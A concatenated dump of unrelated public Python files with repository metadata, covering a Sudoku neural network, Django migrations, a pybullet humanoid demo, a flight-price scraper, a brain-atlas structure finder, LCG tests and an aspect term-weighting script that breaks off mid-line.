np_arr = np.divide(np_arr, 9) return np_arr def reverse_normalize(np_arr): np_arr = np.multiply(np_arr, 9) return np_arr #print(normalize(quizzes[0])) #print(reverse_normalize(normalize(quizzes[0]))) # normalize data: #n_quizzes = normalize(quizzes) #n_solutions = normalize(solutions) #set 2: n_qmega = normalize(mega_quiz) n_smega = normalize(mega_sol) print("Done with normalize") # n_q80, n_s80 = normalize(q80), normalize(s80) # n_q78, n_s78 = normalize(q78), normalize(s78) # n_q75, n_s75 = normalize(q75), normalize(s75) # n_q70, n_s70 = normalize(q70), normalize(s70) # n_q65, n_s65 = normalize(q65), normalize(s65) # n_q60, n_s60 = normalize(q60), normalize(s60) #print(n_quizzes.shape) #print(n_solutions.shape) ## setup the model: model = tf.keras.Sequential() model.add(layers.Dense(81, input_shape=(9,9), activation='elu', bias_initializer='random_uniform')) #model.add(layers.Dense(81, activation='linear', bias_initializer='random_uniform')) model.add(layers.Dense(16, activation='relu', bias_initializer='random_uniform')) model.add(layers.Dense(9, activation='linear')) opt = keras.optimizers.Adam(lr=0.001) opt2 = keras.optimizers.SGD(lr=0.001, nesterov=True) model.compile(optimizer=opt, loss='mean_squared_error', metrics=['accuracy']) print(model.summary()) history = model.fit(n_qmega, n_smega, epochs=5, batch_size=20, validation_split=0.001) ## "Predict always takes a list... [] hmmm" n_predictions = model.predict(n_qmega) #n_predictions2 = model.predict(n_quizzes2) #testvar = random.randint(0,3000) print("given: ") print(reverse_normalize(n_qmega[44])) print("prediction: ") print(np.round(reverse_normalize(n_predictions[44]), decimals=0)) print("solution: ") print(reverse_normalize(n_smega[44])) print("2: ") print("given: ") print(reverse_normalize(n_qmega[266])) print("prediction: ") print(np.round(reverse_normalize(n_predictions[266]), decimals=0)) print("solution: ") print(reverse_normalize(n_smega[266])) history_dict = history.history print(history_dict.keys()) ## Get Historgram of value occurences: preds = np.round(reverse_normalize(n_predictions), decimals=0) uniqueValues, occurCount = np.unique(preds, return_counts=True) sols = np.round(reverse_normalize(n_smega),decimals=0) uniqueValuesS, occurCountS = np.unique(sols, return_counts=True) print() print("Unique Values in Solution: ", uniqueValues) print("Occurence Count in Solution: ", occurCount) print() print("Unique Values in Prediction: ", uniqueValues) print("Occurence Count in Prediction: ", occurCount) print() #histogramS = plt.bar(uniqueValuesS, occurCountS) #plt.xlabel('Distribution of Digits in Sudoku Solutions') #plt.ylabel('Frequency') #plt.show() histogramP = plt.bar(uniqueValues, occurCount, ) plt.xlabel('Distribution of Digits in Sudoku Solutions') plt.ylabel('Frequency') plt.show() # # Plot training & validation accuracy values # plt.plot(history.history['accuracy']) # plt.plot(history.history['val_accuracy']) # plt.title('Model accuracy') # plt.ylabel('Accuracy') # plt.xlabel('Epoch') # plt.legend(['Train', 'Test'], loc='upper left') # plt.show() # # Plot training & validation loss values # plt.plot(history.history['loss']) # plt.plot(history.history['val_loss']) # plt.title('Model loss') # plt.ylabel('Loss') # plt.xlabel('Epoch') # plt.legend(['Train', 'Test'], loc='upper left') # plt.show()

[ "noreply@github.com" ]

BlockSpaceVictor.noreply@github.com

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/oddoreven.py

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[]

no_license

balajiyogi/Balaji

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refs/heads/master

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a,b=input().split() a=int(a) b=int(b) if((a+b)%2 == 0): print("even") else: print("odd")

[ "noreply@github.com" ]

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Hoohaha/Auana-P

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2021-01-18T22:07:10.163324

2018-06-07T06:26:07

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import sys, os __PATH__ = os.path.dirname(os.path.abspath(__file__)).replace('\\','/') sys.path.append(os.path.dirname(__PATH__)) from auana import Auana,Fana print ("Title: File Search Demo") print ("Date: 2015.4.25\n") if __name__ == '__main__': auan = Auana(u"E:\8ksample_music\data") try: File = Fana(auan,sys.argv[1]) name, accuracy, db, position = File.recognize() print "Match Name: %s Accuracy: %.3f Volume: %d Position: %d'%d"%(name, accuracy, db, position/60, position%60) except IndexError: print "Error: Invalid file or file path!" os.system("pause")

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/promeds/migrations/0021_ordertab_total_price.py

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# -*- coding: utf-8 -*- # Generated by Django 1.10 on 2016-09-26 12:41 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('promeds', '0020_auto_20160925_1744'), ] operations = [ migrations.AddField( model_name='ordertab', name='total_price', field=models.FloatField(default=0), ), ]

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/bullet3/examples/pybullet/numpy/humanoid_running.py

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import os, inspect currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe()))) parentdir = os.path.dirname(os.path.dirname(currentdir)) os.sys.path.insert(0, parentdir) import sys import numpy as np import argparse import pybullet as p import time gui = True cid = p.connect(p.SHARED_MEMORY) #DIRECT is much faster, but GUI shows the running gait if (cid < 0): if (gui): cid = p.connect(p.GUI) else: cid = p.connect(p.DIRECT) #p.setGravity(1,2,-9.8) #p.setDefaultContactERP (0.4) p.setGravity(0, 0, -9.8) #numSubSteps=4 and fixedTimeStep=1.0/60. is an effective internal fixed step of 1./240 #recommended to not go below 50 solver iterations p.setPhysicsEngineParameter(fixedTimeStep=1.0 / 60., numSolverIterations=550, numSubSteps=8) #this mp4 recording requires ffmpeg installed #mp4log = p.startStateLogging(p.STATE_LOGGING_VIDEO_MP4,"humanoid.mp4") #p.loadSDF("stadium.sdf") p.loadURDF("plane_implicit.urdf") objs = p.loadMJCF("mjcf/humanoid_symmetric_no_ground.xml", flags=p.URDF_USE_SELF_COLLISION_EXCLUDE_ALL_PARENTS) human = objs[0] for j in range(p.getNumJoints(human)): jointInfo = p.getJointInfo(human, j) print("joint(", j, "qIndex=", jointInfo[3], "uIndex=", jointInfo[4], ")=", jointInfo) ordered_joints = [] ordered_joint_indices = [] parser = argparse.ArgumentParser() parser.add_argument('--profile') jdict = {} for j in range(p.getNumJoints(human)): info = p.getJointInfo(human, j) link_name = info[12].decode("ascii") if link_name == "left_foot": left_foot = j if link_name == "right_foot": right_foot = j ordered_joint_indices.append(j) if info[2] != p.JOINT_REVOLUTE: continue jname = info[1].decode("ascii") jdict[jname] = j lower, upper = (info[8], info[9]) ordered_joints.append((j, lower, upper)) p.setJointMotorControl2(human, j, controlMode=p.VELOCITY_CONTROL, force=0) motor_names = ["abdomen_z", "abdomen_y", "abdomen_x"] motor_power = [100, 100, 100] motor_names += ["right_hip_x", "right_hip_z", "right_hip_y", "right_knee"] motor_power += [100, 100, 300, 200] motor_names += ["left_hip_x", "left_hip_z", "left_hip_y", "left_knee"] motor_power += [100, 100, 300, 200] motor_names += ["right_shoulder1", "right_shoulder2", "right_elbow"] motor_power += [75, 75, 75] motor_names += ["left_shoulder1", "left_shoulder2", "left_elbow"] motor_power += [75, 75, 75] motors = [jdict[n] for n in motor_names] class Dummy: pass dummy = Dummy() dummy.initial_z = None def current_relative_position(jointStates, human, j, lower, upper): #print("j") #print(j) #print (len(jointStates)) #print(j) temp = jointStates[j] pos = temp[0] vel = temp[1] #print("pos") #print(pos) #print("vel") #print(vel) pos_mid = 0.5 * (lower + upper) return (2 * (pos - pos_mid) / (upper - lower), 0.1 * vel) def collect_observations(human): #print("ordered_joint_indices") #print(ordered_joint_indices) jointStates = p.getJointStates(human, ordered_joint_indices) j = np.array([ current_relative_position(jointStates, human, *jtuple) for jtuple in ordered_joints ]).flatten() #print("j") #print(j) body_xyz, (qx, qy, qz, qw) = p.getBasePositionAndOrientation(human) #print("body_xyz") #print(body_xyz, qx,qy,qz,qw) z = body_xyz[2] dummy.distance = body_xyz[0] if dummy.initial_z == None: dummy.initial_z = z (vx, vy, vz), _ = p.getBaseVelocity(human) more = np.array([z - dummy.initial_z, 0.1 * vx, 0.1 * vy, 0.1 * vz, qx, qy, qz, qw]) rcont = p.getContactPoints(human, -1, right_foot, -1) #print("rcont") #print(rcont) lcont = p.getContactPoints(human, -1, left_foot, -1) #print("lcont") #print(lcont) feet_contact = np.array([len(rcont) > 0, len(lcont) > 0]) return np.clip(np.concatenate([more] + [j] + [feet_contact]), -5, +5) def relu(x): return np.maximum(x, 0) class SmallReactivePolicy: "Simple multi-layer perceptron policy, no internal state" def __init__(self): #, observation_space, action_space): #assert weights_dense1_w.shape == (observation_space.shape[0], 256) #assert weights_dense2_w.shape == (256, 128) #assert weights_final_w.shape == (128, action_space.shape[0]) pass def act(self, ob): #ob[0] += -1.4 + 0.8 x = ob x = relu(np.dot(x, weights_dense1_w) + weights_dense1_b) x = relu(np.dot(x, weights_dense2_w) + weights_dense2_b) x = np.dot(x, weights_final_w) + weights_final_b return x def demo_run(): pi = SmallReactivePolicy() t1 = time.time() timinglog = p.startStateLogging(p.STATE_LOGGING_PROFILE_TIMINGS, "humanoidTimings.json") frame = 0 while 1: obs = collect_observations(human) actions = pi.act(obs) #print(" ".join(["%+0.2f"%x for x in obs])) #print("Motors") #print(motors) #for m in range(len(motors)): #print("motor_power") #print(motor_power[m]) #print("actions[m]") #print(actions[m]) #p.setJointMotorControl2(human, motors[m], controlMode=p.TORQUE_CONTROL, force=motor_power[m]*actions[m]*0.082) #p.setJointMotorControl2(human1, motors[m], controlMode=p.TORQUE_CONTROL, force=motor_power[m]*actions[m]*0.082) forces = [0.] * len(motors) batch = True for m in range(len(motors)): forces[m] = motor_power[m] * actions[m] * 0.082 if (not batch): p.setJointMotorControl2(human, motors[m], controlMode=p.TORQUE_CONTROL, force=forces[m]) if (batch): p.setJointMotorControlArray(human, motors, controlMode=p.TORQUE_CONTROL, forces=forces) p.stepSimulation() humanPos, humanOrn = p.getBasePositionAndOrientation(human) if (gui): time.sleep(1. / 60.) print("frame=", frame) camInfo = p.getDebugVisualizerCamera() curTargetPos = camInfo[11] distance = camInfo[10] yaw = camInfo[8] pitch = camInfo[9] targetPos = [ 0.95 * curTargetPos[0] + 0.05 * humanPos[0], 0.95 * curTargetPos[1] + 0.05 * humanPos[1], curTargetPos[2] ] p.resetDebugVisualizerCamera(distance, yaw, pitch, targetPos) frame += 1 #if frame==1000: break t2 = time.time() print("############################### distance = %0.2f meters" % dummy.distance) print("############################### FPS = ", 1000 / (t2 - t1)) #print("Starting benchmark") #logId = p.startStateLogging(p.STATE_LOGGING_PROFILE_TIMINGS,"pybullet_humanoid_timings.json") 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+0.0031, +0.1408, +0.0531, +0.1400, +0.0308, -0.0220, -0.0014, -0.3056, -0.1551, -0.0096 ], [ +0.1479, +0.1186, +0.1323, -0.3466, -0.0654, -0.1084, -0.2509, +0.0944, -0.2135, +0.2020, +0.0602, -0.1239, +0.0741, +0.2037, -0.4462, +0.1065, +0.1710 ]]) weights_final_b = np.array([ -0.0274, +0.1314, -0.0578, +0.2965, +0.1318, -0.0622, +0.1158, +0.0643, +0.2138, -0.1422, +0.1579, +0.0836, -0.0388, -0.0933, +0.2233, -0.2276, +0.0375 ]) # yapf: enable if __name__ == "__main__": demo_run()

[ "m.tym29101998@gmail.com" ]

m.tym29101998@gmail.com

11e267f7a77d902d4b7edf42f9445b93d28e9743

da18cef853c7a2d9d4d9b9cde69c94a01153c902

/TextTab/main.py

cdf66f50c6a94e76f73329759a7f5d07d1002dbb

[]

no_license

alecsaunders/TextTab

093394fc37ab9ae90de13458af70339f9a121e57

e89921e8173dca111965a2fdb34d31dbc0f57b29

refs/heads/master

2021-09-06T00:10:34.822356

2018-01-31T22:00:06

null

0

null

UTF-8

Python

false

4,273

py

from . import Note class TextTabController(): def __init__(self): self.tab = None def format_tab_to_text(self, tab): self.tab = tab measures = self.tab.split('&') all_notes = [] for m_num, m in enumerate(measures, 1): m = m.strip() new_lines = [] measure_notes = [] for line_num, line in enumerate(m.splitlines(), 1): line = line.replace('| ', '').replace(' |', '') line = line.strip() line_notes = line.split(':') if line_notes: for note in line_notes: note = note.strip() if note != '-': position, duration = note.split('-') new_note = Note.Note(m_num, line_num, position, duration) measure_notes.append(new_note) elif note == '-': new_note = Note.Note(m_num, line_num, None, None) measure_notes.append(new_note) else: print('no notes') all_notes.append(measure_notes) divs = self.generate_divs(all_notes) return divs def generate_divs(self, all_notes): divs_list = [] for m in all_notes: measure_lines_list = [] string1 = "|" string2 = "|" string3 = "|" string4 = "|" string5 = "|" string6 = "|" max_den = int(max(n.denominator for n in m)) max_char_len = int(max(n.char_len for n in m)) for n in m: note_string = self.add_extra_hyphens(n, max_den, max_char_len) if n.string == 1: if n.position: string1 = string1 + note_string if n.string == 2: if n.position: string2 = string2 + note_string if n.string == 3: if n.position: string3 = string3 + note_string if n.string == 4: if n.position: string4 = string4 + note_string if n.string == 5: if n.position: string5 = string5 + note_string if n.string == 6: if n.position: string6 = string6 + note_string measure_lines_list.append(string1) measure_lines_list.append(string2) measure_lines_list.append(string3) measure_lines_list.append(string4) measure_lines_list.append(string5) measure_lines_list.append(string6) divs_list.append(measure_lines_list) return divs_list def add_extra_hyphens(self, n, max_den, max_char_len): note_char = '-' if n.position == 'n' else n.position if max_char_len >= 2: note_len = n.duration_frac * max_den * 4 else: note_len = n.duration_frac * max_den * 2 if max_den == 1: note_len = 4 note_string = note_char while len(note_string) < note_len: note_string = note_string + '-' return note_string def validate_tab(self): if not self.tab: return False try: meta, tabs_raw = self.tab.split(':===:') meta_val = self.validate_tab_meta(meta) tabs_raw_val = self.validate_tab_tabs_raw(tabs_raw) return meta_val and tabs_raw_val except: return False return False def validate_tab_meta(self, meta): if not meta: return False meta_lines = meta.splitlines() for m in meta_lines: if m: if ":" not in m: return False return True def validate_tab_tabs_raw(self, tabs_raw): if tabs_raw: return True return False if __name__ == '__main__': ttc = TextTabController() txtab = open('assets/tab_format.txt', 'r').read() ttc.tab = txtab print(ttc.validate_tab())

[ "alecsaunders90@gmail.com" ]

alecsaunders90@gmail.com

10b4c59e7f373368fe55aa0194680344776c6738

1471a936d29e96bdc898d1775a0c1955ebe18c94

/flight_booking/ixigo.py

166eb00230b23f3458cb1ef29197bfd4e972c67f

[]

no_license

krish-1409/flight_booking

5e5a428241e4bf27ceb3216370288c980f364acd

26603d9dd1531daa617bae1277f02260e929e64d

refs/heads/master

2023-04-22T00:39:48.232249

2021-05-08T18:42:32

365,587,219

0

null

UTF-8

Python

false

5,045

py

from selenium import webdriver from bs4 import BeautifulSoup import requests import pprint import time def generate_codes(source,destination,date,all_flights): url = 'https://www.prokerala.com/travel/airports/india/' response = requests.get(url) data = response.text soup = BeautifulSoup(data,'html.parser') names=[] codes=[] airport_names = soup.findAll('a',{'class':'airport-name'}) for airport_name in airport_names: names.append(airport_name.text) airport_codes = soup.findAll('td',{'class':'tc td-width-60'}) for airport_code in airport_codes: codes.append(airport_code.text) all_flights = generate_url(source,destination,date,names,codes,all_flights) return all_flights def return_code(airport,names,codes): count = 0 all_airports = {} for name in names: all_airports[name.lower()] = codes[count] count += 2 # airport = input('enter an airport').lower() ind = [i for i in all_airports if airport in i] return all_airports[ind[0]] def get_formatted_date(date): datey = date[0:4] datem = date[5:7] dated = date[8:10] date = dated + datem + datey return date def generate_url(source,destination,date,names,codes,all_flights): source = return_code(source,names,codes) destination = return_code(destination,names,codes) date = get_formatted_date(date) # print('source is ',source,'destination is',destination) url = "https://www.ixigo.com/search/result/flight/" + source + "/" + destination + "/" + date + "//1/0/0/e?source=Search%20Form" all_flights = browse(url,all_flights) return all_flights def browse(url,all_flights): #driver = webdriver.Chrome(executable_path="C:\Projects\flight_booking\chromedriver.exe") driver = webdriver.Firefox(executable_path='C:\Projects\geckodriver.exe') driver.get(url) driver.maximize_window() driver.implicitly_wait(16) time.sleep(15) body = driver.find_element_by_tag_name("body").get_attribute("innerHTML") soup = BeautifulSoup(body, 'html.parser') flights = soup.findAll('div', {'class': 'summary-section'}) all_flights = find_flights(flights,all_flights,url) # all_flights = sorted(all_flights, key=lambda i: i['price']) # pprint.pprint(all_flights) # print(len(all_flights)) driver.quit() return all_flights def find_flights(flights,all_flights,url): for flight in flights: flag = 0 flight_name_temp = flight.find('a', {'class': 'flight-name'}) flight_name = flight_name_temp.find('div',{'class' : 'u-uppercase u-text-ellipsis'}).text flight_code_temp = flight.find('div',{'class':'u-text-ellipsis'}) # print('flight code temp is ',flight_code_temp) flight_code_temp1 = flight_code_temp.findAll('div',{'class':'u-text-ellipsis'}) # print('flight code temp 1 is ', flight_code_temp1) flight_code = flight_code_temp1[1].text # print('flight code is ',flight_code) dept_time_temp = flight.find('div', {'class': 'left-wing'}) dept_time = dept_time_temp.find('div', {'class': 'time'}).text duration_temp = flight.find('div',{'class':'c-timeline-wrapper horizontal'}) duration = duration_temp.find('div', {'class', "label tl"}).text if 'h' not in duration: duration = "00 hr "+duration arr_time_temp = flight.find('div', {'class': 'right-wing'}) arr_time = arr_time_temp.find('div', {'class': 'time'}).text price_temp = flight.find('div',{'class':'c-price-display u-text-ellipsis'}) price = price_temp.findAll('span') price = price[1].text price = int(price) for i in all_flights: if (i['flight_name']).lower()==(flight_name).lower() and i['dept_time']==dept_time and i['arr_time']==arr_time: if int(price) < int(i['price']): del all_flights[i] all_flights.append({'flight_name':flight_name,'flight_code':flight_code,'dept_time':dept_time,'duration':duration,'arr_time':arr_time,'price':price,'website':"IXIGO",'website-URL':url}) # all_flights.append({'flight_name':flight_name,'flight_code':flight_code,'dept_time':dept_time,'duration':duration,'arr_time':arr_time,'price':price,'website':"IXIGO"}) flag = 1 break if flag == 0: all_flights.append({'flight_name': flight_name, 'flight_code': flight_code, 'dept_time': dept_time, 'duration': duration,'arr_time': arr_time, 'price': price, 'website': "IXIGO",'website-URL':url}) # all_flights.append({'flight_name': flight_name, 'flight_code': flight_code, 'dept_time': dept_time, 'duration': duration,'arr_time': arr_time, 'price': price, 'website': "IXIGO"}) # print("flight name is",flight_name,"flight code is",flight_code,"dept time is ",dept_time,"duration is",duration,"arrival is",arr_time,"price is",price) return all_flights # generate_codes('vija','hydera','2020-04-20')

[ "saikrishnalanka75@gmail.com" ]

saikrishnalanka75@gmail.com

2e89f3366c2a90e4aea9cb2e324465fcf75001f0

8fb43093949f61dfff736165198c915962cf7673

/test/createMCPattuple_cfg.py

bdbe07f1e1a144ee59805eb603411db0c59e0b73

[]

no_license

vveckaln/spy_analysis

d85ee5c332308999b551f14d1bb22b41d997b45d

a1d4cdb4c61cd1860b3ed8116fa9151f4ddabbf6

refs/heads/master

2016-09-05T10:19:25.386700

2014-10-02T17:10:18

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UTF-8

Python

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py

import os,sys runOnMC=True runStd=True cfgFile=os.path.expandvars('${CMSSW_BASE}/src/LIP/TopTaus/test/createPattuple_cfg.py') from LIP.TopTaus.CommandLineUtils_cff import configureSourceFromCommandLine inList, outFile = configureSourceFromCommandLine() execfile(cfgFile)

[ "" ]

e6aa223a1ba80168034eed19e3696c9f7a21ee9c

fe119edf256ad6e34b998ed762f7df38d7f8f066

/pythonMods/outputProcessing.py

d4f19d0f994716421e13d42f41caf651f5dc7978

[]

no_license

sdrendall/fishRegistration

77f69a4f0b375cb7c0d577eae1bcf27479b1427f

0fb8af9c754f71e48f7d5d3e3d70db51d5f42c62

refs/heads/master

2021-01-23T03:16:10.473537

2018-09-01T12:10:20

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py

import json from itertools import imap, chain class StructureFinder: """ I find the structure in the allen brain atlas corresponding to the given trait """ def __init__(self, structure_data_path): self.structureData = self._load_structure_data(structure_data_path) def get_ids_by_acronym(self, acronym): return self._get_ids_by_attribute('acronym', acronym) def get_ids_by_structure_name(self, name): return self._get_ids_by_attribute('name', name) def get_ids_by_id(self, id_no): return self._get_ids_by_attribute('id', id_no) def _get_ids_by_attribute(self, attribute, value): """ 'Template' function for obtaining the set of structure ids that identify a structure by an attribute :param attribute: Attribute to identify structure by :param value: Value of the attribute :return: List of ids corresponding to the ids of the identified structure and all of it's progeny """ structure = self.search_structure_data_for_attribute(attribute, value) if structure is not None: return self.get_ids_from_structure(structure) else: raise StructureNotFoundError(attribute, value) def search_structure_data_for_attribute(self, attribute, value): """ Searches the structure data stored in self.structureData for a structure who's attribute == value :param attribute: The attribute to be checked :param value: The desired value of that attribute :return: The structure contained in structureData who's attribute == value """ return self._check_structure_for_attribute(self.structureData, attribute, value) def _check_structure_for_attribute(self, structure, attribute, value): """ Checks to see if a structure has the desired value. If it doesn't, checks that structure's children :param structure: The root structure to be searched :param attribute: The attribute to be checked :param value: The desired value of the attribute :return: The structure who's attribute has the desired value. None if that structure can't be found """ if structure[attribute] == value: return structure else: return self._search_children_for_attribute(structure['children'], attribute, value) def _search_children_for_attribute(self, children, attribute, value): """ Checks if each the specified attribute of each child in children has the desired value :param children: The structures to be checked :param attribute: The attribute to be checked :param value: The desired value :return: The structure of the child containing the desired attribute, None if that child isn't found """ for child in children: structure = self._check_structure_for_attribute(child, attribute, value) if structure is not None: return structure return None def get_ids_from_structure(self, structure): """ :param structure: A structure from the allen brain atlas structure data :return: A list of ids corresponding to the given structure and all of its descendants """ return [id_no for id_no in self._generate_structure_ids(structure)] def _generate_structure_ids(self, structure): """ A generator function that yields the id numbers of a given structure from the allen brain atlas, and all of its descendants :param structure: A structure from the allen brain atlas structure data """ yield structure['id'] for id_no in chain(*imap(self._generate_structure_ids, structure['children'])): yield id_no @staticmethod def get_structure_property_generator_function(structure_property): def structure_property_generator_function(structure): yield structure[structure_property] for property_value in chain(*imap(structure_property_generator_function, structure['children'])): yield property_value return structure_property_generator_function @staticmethod def _load_structure_data(path): f = open(path, 'r') data = json.load(f) f.close() return data class StructureNotFoundError(Exception): """ Raised when a structure cannot be found in the allen brain atlas """ def __init__(self, identifier_type, identifier): self.msg = 'Structure with %s %s could not be found.' % (identifier_type, identifier) def main(): structure_data_path = '/home/sam/Dropbox/grayLab/allenReferenceAtlas_mouseCoronal/structureData.json' finder = StructureFinder(structure_data_path) print "Finding ids by acronym....." tea_ids = finder.get_ids_by_acronym('TEa') print tea_ids print "Finding ids by name....." iso_ids = finder.get_ids_by_structure_name('Isocortex') print iso_ids if all((id in iso_ids for id in tea_ids)): print 'success!' else: print 'failure :(' if __name__ == '__main__': main()

[ "sdrendall@gmail.com" ]

sdrendall@gmail.com

24776263afec138d8c48d67ee7777f562e4c66a4

84fba469db24ed0afdcacf9f09c56c9fb6d4b9a3

/test/generator/test_linear_congruential_generator.py

46372ab6ebefaa45e5e1122ef472cbcc122dcbcb

[]

no_license

czechnology/py-prng

df35ed9fbc8983d5cceea22d5fa9bcbf63a82a23

e7ac66c4ad711405fb5a3e75eb9ca232a055c6d9

refs/heads/master

2021-01-21T18:38:40.431801

2017-06-13T19:49:59

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import unittest from generator import linear_congruential_generators as lcg from utils.bit_tools import least_significant_bit as lsb class TestLCG(unittest.TestCase): SEQUENCES_PATH = "sequences/linear_congruential_generators" def test_knuth_lcg_3_2_1(self): """Test if LCG correctly generates a simple sequence as described by Knuth (p.10)""" self._test_lcg( gen_m=10, gen_a=7, gen_c=7, seed=7, expected_x=[6, 9, 0, 7, 6, 9, 0, 7] # period 4 ) def test_java_random(self): """Java's java.util.Random uses a LCG with parameters m = 2**48, a = 25214903917, c = 11, while only using the bits 47..16 Test against pre-generated values""" rand = lcg.JavaLinearCongruentialGenerator() rand.seed(0) generated_sequence = [lsb(rand.random_number() >> 16, 32) for _ in range(1000)] expected_sequence = self._read_sequence(self.SEQUENCES_PATH + "/java-s0.txt") self.assertEqual(generated_sequence, expected_sequence) rand.seed(123) generated_sequence = [lsb(rand.random_number() >> 16, 32) for _ in range(1000)] expected_sequence = self._read_sequence(self.SEQUENCES_PATH + "/java-s123.txt") self.assertEqual(generated_sequence, expected_sequence) rand.seed(1088542510) generated_sequence = [lsb(rand.random_number() >> 16, 32) for _ in range(1000)] expected_sequence = self._read_sequence(self.SEQUENCES_PATH + "/java-s1088542510.txt") self.assertEqual(generated_sequence, expected_sequence) def test_randu(self): """Test if LCG generates the sequence as a RANDU generator""" rand = lcg.RanduLinearCongruentialGenerator(1) generated_sequence = [rand.random_number() for _ in range(20)] expected_sequence = self._read_sequence(self.SEQUENCES_PATH + "/randu-s1.txt") self.assertListEqual(generated_sequence, expected_sequence) def _test_lcg(self, gen_m, gen_a, gen_c, seed, expected_x): if type(expected_x) is str: expected_x = self._read_sequence(self.SEQUENCES_PATH + '/' + '.txt') rand = lcg.LinearCongruentialGenerator(m=gen_m, a=gen_a, c=gen_c) rand.seed(seed) for i in range(len(expected_x)): num = rand.random_number() self.assertEqual(num, expected_x[i]) @staticmethod def _read_sequence(file): with open(file) as f: sequence = f.readlines() sequence = list(filter(lambda l: l[:1] != "#", sequence)) sequence = list(map(lambda l: int(l.strip()), sequence)) return sequence if __name__ == '__main__': unittest.main()

[ "martin.kulhavy@aalto.fi" ]

martin.kulhavy@aalto.fi

cb976630bce714ce1c914b70a450b8fc029e02db

e736a35f5bfbd5ac010d5404ab646d43791d365a

/rooms/migrations/0003_auto_20210622_2226.py

d69d8330dc5a99470f17fa3ef5d0a4654825a658

[]

no_license

hyo-jae-jung/airbnb-clone

2c2e7d13978e37c6b9b9fa71165388955b28850c

7df54ed1ff2f7e6ec438192b2554d8b2402b3119

refs/heads/main

2023-07-03T06:12:49.094559

2021-08-08T05:24:39

372,468,444

1

0

null

UTF-8

Python

false

1,248

py

# Generated by Django 2.2.5 on 2021-06-22 13:26 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('rooms', '0002_auto_20210622_2121'), ] operations = [ migrations.CreateModel( name='Amenity', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created', models.DateTimeField(auto_now_add=True)), ('updated', models.DateTimeField(auto_now=True)), ('name', models.CharField(max_length=80)), ], options={ 'abstract': False, }, ), migrations.RemoveField( model_name='room', name='room_type', ), migrations.AddField( model_name='room', name='room_type', field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='rooms.RoomType'), ), migrations.AddField( model_name='room', name='amenities', field=models.ManyToManyField(blank=True, to='rooms.Amenity'), ), ]

[ "hyojaejung@kakao.com" ]

hyojaejung@kakao.com

9dbd3b9b253fc242a7b094795d4ec5ba579c3772

a418856e97637a85ebc829630486abfba666fef1

/Python Advanced/Python OOP/Encapsulation - Exercise/02. Pizza Maker/topping.py

7e114bc9a649280148fd04189fccaf3121313fe2

[]

no_license

alkaf499/Softuni

deb27cbffe476fd301ff19cca5849fce59666a4e

41d935183fb96ba8b2fc11967b0fdfa04570b8c2

refs/heads/master

2023-03-16T02:05:23.483359

2023-03-12T19:50:08

98,043,040

2

0

null

UTF-8

Python

false

658

py

class Topping: def __init__(self, topping_type: str, weight: float): self.topping_type = topping_type self.weight = weight @property def topping_type(self): return self.__topping_type @topping_type.setter def topping_type(self, str): if not str: raise ValueError('The topping type cannot be an empty string') self.__topping_type = str @property def weight(self): return self.__weight @weight.setter def weight(self, value): if value <= 0: raise ValueError('The weight cannot be less or equal to zero') self.__weight = value

[ "noreply@github.com" ]

alkaf499.noreply@github.com

4da82bb292f9f952a12bc2c01d1d61a90abd358b

3f279f90137aa6a24674378e6c5044293b7680e3

/oposum_scripts/term_weights.py

13827a599fd22a67ba5b2391a00259526060afd5

[]

no_license

kevingeother/ISWD_modified

16108c74f6a1693fcfda58cfc6f9f58c1ceb7e21

378a61389ce26070710fefd69e5a32fd316d775f

refs/heads/main

2023-06-29T21:15:26.300766

2021-08-07T22:22:57

393,788,757

1

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UTF-8

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#!/usr/bin/env python ''' seedwords are derived from dev dataset ''' import sys import argparse import re import os.path from os import makedirs from pprint import pprint from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import HashingVectorizer from numpy import log from scipy.special import rel_entr from nltk.corpus import stopwords from nltk.stem.wordnet import WordNetLemmatizer parser = argparse.ArgumentParser( description =__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('filename', help='Aspect labels file', type=str) parser.add_argument('--outdir', help='Output directory', type=str, default='.') parser.add_argument('-s', '--remove_stopwords', help='Remove stopwords', action='store_true') parser.add_argument('-l', '--lemmatize', help='Lemmatize words', action='store_true') args = parser.parse_args() '''default: remove_stopwords & lemmatize''' f = open(args.filename, 'r') # reads aspect titles header = f.readline() aspects = header.strip().replace(' ', '_').replace('/','_').split('|') aspect_segments = dict([(aspect, []) for aspect in aspects]) f.readline() # skips empty line if args.lemmatize: lemmatizer = WordNetLemmatizer() else: lemmatizer = None if args.remove_stopwords: stop_words = set(stopwords.words('english')) else: stop_words = set() token_pattern = re.compile(r'(?u)\b\w\w+\b') # the loop will read file and store segments globally, and per aspect all_segs = [] first = True for line in f: if not first: if len(line.strip()) == 0: first = True else: seg_body, seg_asptext = line.strip().split('\t') seg_words = [word for word in token_pattern.findall(seg_body.lower()) if word not in stop_words] if lemmatizer is not None: seg_words = [lemmatizer.lemmatize(word) for word in seg_words] seg_prep = ' '.join(seg_words) seg_aspects = map(int, seg_asptext.split()) for i, aspect in enumerate(seg_aspects): # multiple labels aspect_segments[aspects[aspect]].append(seg_prep) all_segs.append(seg_prep) else: first = False f.close() # compute tfidf scores vectorizer = TfidfVectorizer(stop_words='english' if args.remove_stopwords else None, norm='l1', use_idf=True) vectorizer.fit(all_segs) gl_freq = vectorizer.transform([' '.join(all_segs)]).toarray()[0] # global scores gl_scores = {} for term, idx in vectorizer.vocabulary_.items(): gl_scores[term] = gl_freq[idx] asp_scores = dict([(aspect, {}) for aspect in aspect_segments.keys()]) for aspect, segments in aspect_segments.items(): # aspect-specific scores asp_freq = vectorizer.transform([' '.join(segments)]).toarray()[0] # entropies correspond to clarity scores entropies = rel_entr(asp_freq, gl_freq) / log(2) for term, idx in vectorizer.vocabulary_.items(): asp_scores[aspect][term] = entropies[idx] # sort by score and write to file if > 0 scores = sorted(asp_scores[aspect].items(), reverse=True, key=lambda x:x[1]) if args.outdir == '': fout = open('{0}.{1}.clarity.txt'.format(args.filename[:-4], aspect), 'w') else: if not os.path.exists(args.outdir): makedirs(args.outdir) fout = open(args.outdir + '/{0}.{1}.clarity.txt'.format(os.path.basename(args.filename)[:-4], aspect), 'w') for term, cla in scores[:50]: if 